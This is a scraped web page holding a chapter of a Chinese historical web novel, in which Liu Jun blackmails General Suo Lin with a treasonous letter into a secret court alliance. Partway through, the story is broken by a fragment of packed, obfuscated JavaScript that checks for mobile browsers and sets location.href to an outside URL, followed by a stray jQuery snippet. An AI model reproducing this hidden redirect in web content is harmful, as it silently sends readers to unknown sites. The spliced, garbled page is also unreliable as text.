68.第十六章:同谘合谋
作品:《星汉西流夜未央》 当夜,未能等来司马邺这个贵客,刘隽却迎来了一个不速之客。
来者一身布衣,外罩黑色披风,露出面目,正是白日里逃过一劫的索綝。
刘隽席地而坐,正在焚香,一旁的炉里正煮着茶,“见过骠骑大将军。”
索綝一双虎目满是惊疑,像是头回认识般打量着刘隽——这日对他而言,可谓惊心动魄,一早便有禁军中的细作递消息,道是皇帝打算发难,伺机将他拿下,随后真的有宫中内侍前来传话,宫中一殿宇走水,女儿正在其中,本想带着兵马入内,又有刘隽的使者报信,说索后已被救下,刚放下一颗心,那人却又递来一张字条。
字条上正是索綝让其子递往匈奴的密信——若许以车骑、仪同、万户郡公者,请以长安城降。
这也是为何,索綝会在夜阑人静之时,独自赴一小辈之约了。
“将军慈父之心,实在让人动容。”刘隽为他奉上一杯清冽的热茶,“不禁让隽想起幼时曾听家君点评本朝英雄人物,有一人孝悌至诚,让隽颇为神往。”
也不看索綝,刘隽起身踱步,娓娓道来,“有兄弟二人出自敦煌豪族,束发之年,一同游历四方。不料在关中遭遇兵乱,兄长被叛军所害。弟弟悲愤交加,竟流下血泪,后苦学武艺,矢志复仇,终有小成。后其假扮宾客,混入仇人家中,手刃三十七人,终为兄长报仇雪恨。”
索綝端起茶盏,并不是什么难得的好茶,也未调制,唯有茶叶苦涩本味在口中久久不散。
“再后来,他参军报国,屡立战功,骁勇多权略,为一方太守时,也能恩威并施,让华夷向服,贼人不敢来犯。神州陆沉之时,他坚持抗敌,并联合贾疋等人守卫长安,屡屡打败刘曜、石勒之兵。”刘隽转身,定定地看他,“这个人是谁,大将军识得么?”
索綝冷声道:“你既已掌握了我的把柄,不妨便开诚布公,说说你有何图谋。”
“稍安勿躁,隽这个故事尚未说完。”刘隽一笑,随手将轩窗合上,也驱走溶溶月光。
“可后来,他受命承制处置军国要务后,不再满足于做一个忠臣,反而沉湎于权欲。比如在朝中上下安插索氏宗亲,逼迫皇帝立索氏为后……于是,拥立皇帝的人,欺压皇帝;坚持抗敌的人,里通外国……”
他的声音极温和,满是抱憾,却让索綝再听不下去,顾不得这茶水是否有毒,颤抖着取了杯盏,仰头喝下。
“你手书的密信在我手上,令郎也在我手上,今日我甚至还救了令嫒。”刘隽复又坐回席上,“不知大将军打算如何报还?”
索綝放下茶盏,方才的失态已平复了大半,“皇帝想置我于死地,侍中却不如此想,否则就不会救下小女。只是我不明白,你为何不直接一击致命,取而代之,反而要不顾皇帝的意愿,约我来此相商……侍中青葱年少,心机城府却让我捉摸不透了。”
“不错,不论年齿、资历我都难以服众,就算将军退位让贤,也到不了我的头上,”刘隽直言不讳,“我与将军同心同德,待我羽翼丰满之时,将军再全身而退,不好过此时将军身败名裂,而旁人坐收渔利?”
他讲的实在赤、。裸,可偏偏极有道理,索綝冷笑一声,“你以为单凭那密信就可以拿捏住我?我也不止一个儿子……”
“大人实际掌控兵马几何?大人权倾朝野,还不是因为承制之功,别说各路诸侯,就论禁军一旦知晓大人在他们流血厮杀时,竟然与刘聪勾结,大人还能调动几人?”刘隽犀利道,“我选择此时放大人一马,还有一层考虑,如今有那么多南下士族早已对克复中原无动于衷,琅琊王亦在窥伺帝位,更不要说胡虏更在虎视眈眈,若在此时朝中再生动荡,岂不是给他们可乘之机?”
见索綝有些变色,刘隽加重了语气,“大局为重啊,大人!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908926|130959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>索綝深吸一口气,“你就不怕这次心慈手软,日后我翻脸不认人?”
“虽说成大事者不拘小节,但一儿一女一密信加上生前身后名,倘若这些大人都不放在心上,那便是汉高祖之风,当为不世枭雄,隽根本不可能拿捏住大人。”刘隽笑笑,“既如此,不论朝堂政斗还是陈兵列阵,隽都奉陪到底!”
索綝又想起刘演、刘遵、刘启、刘挹、刘耽等人,又拿他们和自家儿孙相较,心灰意冷道:“也罢,日后朝中我当退避三舍。日后侍中位极人臣,还请记得照拂索氏子弟!”
“痛快!”刘隽举杯一饮而尽,“不过,你我冰释前嫌之事,最好只告知心腹。毕竟若是朝中群臣一团和气,高位者又如何以制衡把控朝局呢?”
索綝点头,“这不难,明日我会就走水之事发难,矛头会直指陛下,彼时你再上前回护……”
“不,”刘隽摇头,“他已经被你逼得要除去你了,你若还想长久,且退一步。”
“哦?”索綝蹙眉。
刘隽一笑,“对着杜昭仪便是,索皇后险些殁于大火,你为她出气也合情合理。”
索綝不解,“杜氏是大族,就算将她弃了也不会伤及元气,岂不是小打小闹?”
“要的就是大事化小小事化了,否则光是糟践民脂民膏,陛下便要为人诟病了。”刘隽叹道,“各州刺史、鲜卑酋长们仍然奉陛下为正统,还是不要轻易动摇陛下的威望,否则若是弹压不了其余殿下,岂不是又回到八王纷争不息之时?”
“善。”
又与索綝闲坐了半个时辰,惊讶地发现在对刘曜、石勒用兵之事上,其实二人颇有共同见地。
待送走索綝,刘隽复又打开轩窗,借着月光看着四壁悬挂之物,最终取了飞景剑直直点上舆图。
汉之长安、洛阳,魏之邺城,日后若还有左思这班的大才,再作一首《三都赋》罢。